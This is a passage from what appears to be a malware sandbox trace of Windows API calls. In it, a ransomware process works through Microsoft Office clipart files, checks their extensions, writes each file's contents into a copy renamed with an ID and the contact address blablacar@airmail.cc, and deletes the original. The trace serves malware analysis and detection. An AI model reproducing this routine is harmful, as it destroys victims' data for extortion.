(lpString1=".jpg", lpString2=".WMF") returned -1 [0216.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.481] lstrlenW (lpString=".doc") returned 4 [0216.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.481] lstrlenW (lpString=".docx") returned 5 [0216.481] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0216.481] lstrlenW (lpString=".pdf") returned 4 [0216.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.481] lstrlenW (lpString=".xls") returned 4 [0216.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.481] lstrlenW (lpString=".xlsx") returned 5 [0216.481] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0216.481] lstrlenW (lpString=".ppt") returned 4 [0216.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.481] lstrlenW (lpString=".zip") returned 4 [0216.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.481] lstrlenW (lpString=".rar") returned 4 [0216.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.482] lstrlenW (lpString=".bz2") returned 4 [0216.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.482] lstrlenW (lpString=".7z") returned 3 [0216.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.482] lstrlenW (lpString=".dbf") returned 4 [0216.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.482] lstrlenW (lpString=".1cd") returned 4 [0216.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.482] lstrlenW (lpString=".jpg") returned 4 [0216.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.482] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.482] lstrlenW (lpString="J0152414.WMF") returned 12 [0216.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0216.483] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=24844) returned 1 [0216.483] CloseHandle (hObject=0x38c) returned 1 [0216.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220 [0216.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0216.483] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.483] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0216.484] GetLastError () returned 0x0 [0216.484] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x610c, lpOverlapped=0x0) returned 1 [0216.486] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x6110, lpOverlapped=0x0) returned 1 [0216.487] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.487] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0216.488] SetEndOfFile (hFile=0x4d4) returned 1 [0216.488] CloseHandle (hObject=0x4d4) returned 1 [0216.488] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.488] SetEndOfFile (hFile=0x38c) returned 1 [0216.490] CloseHandle (hObject=0x38c) returned 1 [0216.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0216.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.808] lstrlenW (lpString=".doc") returned 4 [0216.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.808] lstrlenW (lpString=".docx") returned 5 [0216.808] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0216.808] lstrlenW (lpString=".pdf") returned 4 [0216.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.808] lstrlenW (lpString=".xls") returned 4 [0216.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.808] lstrlenW (lpString=".xlsx") returned 5 [0216.808] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0216.808] lstrlenW (lpString=".ppt") returned 4 [0216.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.809] lstrlenW (lpString=".zip") returned 4 [0216.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.809] lstrlenW (lpString=".rar") returned 4 [0216.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.809] lstrlenW (lpString=".bz2") returned 4 [0216.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.809] lstrlenW (lpString=".7z") returned 3 [0216.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.809] lstrlenW (lpString=".dbf") returned 4 [0216.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.809] lstrlenW (lpString=".1cd") returned 4 [0216.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.809] lstrlenW (lpString=".jpg") returned 4 [0216.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.809] lstrlenW (lpString=".doc") returned 4 [0216.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString=".docx") returned 5 [0216.810] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0216.810] lstrlenW (lpString=".pdf") returned 4 [0216.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString=".xls") returned 4 [0216.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.810] lstrlenW (lpString=".xlsx") returned 5 [0216.810] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0216.810] lstrlenW (lpString=".ppt") returned 4 [0216.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.810] lstrlenW (lpString=".zip") returned 4 [0216.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.810] lstrlenW (lpString=".rar") returned 4 [0216.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString=".bz2") returned 4 [0216.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString=".7z") returned 3 [0216.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.810] lstrlenW (lpString=".dbf") returned 4 [0216.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.810] lstrlenW (lpString=".1cd") returned 4 [0216.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0216.810] lstrlenW (lpString=".jpg") returned 4 [0216.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.811] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.811] lstrlenW (lpString="J0152436.WMF") returned 12 [0216.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.812] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11340) returned 1 [0216.812] CloseHandle (hObject=0x36c) returned 1 [0216.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220 [0216.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.813] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.813] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0216.814] GetLastError () returned 0x0 [0216.814] ReadFile (in: hFile=0x36c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2c4c, lpOverlapped=0x0) returned 1 [0216.816] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2c50, lpOverlapped=0x0) returned 1 [0216.817] ReadFile (in: hFile=0x36c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.817] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0216.817] SetEndOfFile (hFile=0x4d8) returned 1 [0216.818] CloseHandle (hObject=0x4d8) returned 1 [0216.818] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.818] SetEndOfFile (hFile=0x36c) returned 1 [0216.820] CloseHandle (hObject=0x36c) returned 1 [0216.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0216.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.822] lstrlenW (lpString=".doc") returned 4 [0216.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.822] lstrlenW (lpString=".docx") returned 5 [0216.822] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0216.822] lstrlenW (lpString=".pdf") returned 4 [0216.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.823] lstrlenW (lpString=".xls") returned 4 [0216.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.823] lstrlenW (lpString=".xlsx") returned 5 [0216.823] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0216.823] lstrlenW (lpString=".ppt") returned 4 [0216.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.823] lstrlenW (lpString=".zip") returned 4 [0216.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.823] lstrlenW (lpString=".rar") returned 4 [0216.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.823] lstrlenW (lpString=".bz2") returned 4 [0216.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.823] lstrlenW (lpString=".7z") returned 3 [0216.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.823] lstrlenW (lpString=".dbf") returned 4 [0216.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.823] lstrlenW (lpString=".1cd") returned 4 [0216.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.823] lstrlenW (lpString=".jpg") returned 4 [0216.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.823] lstrlenW (lpString=".doc") returned 4 [0216.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.823] lstrlenW (lpString=".docx") returned 5 [0216.824] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0216.824] lstrlenW (lpString=".pdf") returned 4 [0216.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.824] lstrlenW (lpString=".xls") returned 4 [0216.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.824] lstrlenW (lpString=".xlsx") returned 5 [0216.824] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0216.824] lstrlenW (lpString=".ppt") returned 4 [0216.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.824] lstrlenW (lpString=".zip") returned 4 [0216.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.825] lstrlenW (lpString=".rar") returned 4 [0216.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.825] lstrlenW (lpString=".bz2") returned 4 [0216.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.825] lstrlenW (lpString=".7z") returned 3 [0216.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.825] lstrlenW (lpString=".dbf") returned 4 [0216.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.825] lstrlenW (lpString=".1cd") returned 4 [0216.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0216.825] lstrlenW (lpString=".jpg") returned 4 [0216.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.825] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.825] lstrlenW (lpString="J0152556.WMF") returned 12 [0216.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.826] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=16432) returned 1 [0216.826] CloseHandle (hObject=0x36c) returned 1 [0216.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220 [0216.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.827] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.827] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0216.828] GetLastError () returned 0x0 [0216.828] ReadFile (in: hFile=0x36c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4030, lpOverlapped=0x0) returned 1 [0216.830] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4040, lpOverlapped=0x0) returned 1 [0216.832] ReadFile (in: hFile=0x36c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.832] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0216.832] SetEndOfFile (hFile=0x4d8) returned 1 [0216.832] CloseHandle (hObject=0x4d8) returned 1 [0216.832] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.832] SetEndOfFile (hFile=0x36c) returned 1 [0216.835] CloseHandle (hObject=0x36c) returned 1 [0216.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0216.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.836] lstrlenW (lpString=".doc") returned 4 [0216.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.836] lstrlenW (lpString=".docx") returned 5 [0216.836] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0216.837] lstrlenW (lpString=".pdf") returned 4 [0216.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString=".xls") returned 4 [0216.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.837] lstrlenW (lpString=".xlsx") returned 5 [0216.837] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0216.837] lstrlenW (lpString=".ppt") returned 4 [0216.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.837] lstrlenW (lpString=".zip") returned 4 [0216.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.837] lstrlenW (lpString=".rar") returned 4 [0216.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString=".bz2") returned 4 [0216.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString=".7z") returned 3 [0216.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.837] lstrlenW (lpString=".dbf") returned 4 [0216.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.837] lstrlenW (lpString=".1cd") returned 4 [0216.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.838] lstrlenW (lpString=".jpg") returned 4 [0216.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.838] lstrlenW (lpString=".doc") returned 4 [0216.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.838] lstrlenW (lpString=".docx") returned 5 [0216.838] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0216.838] lstrlenW (lpString=".pdf") returned 4 [0216.838] 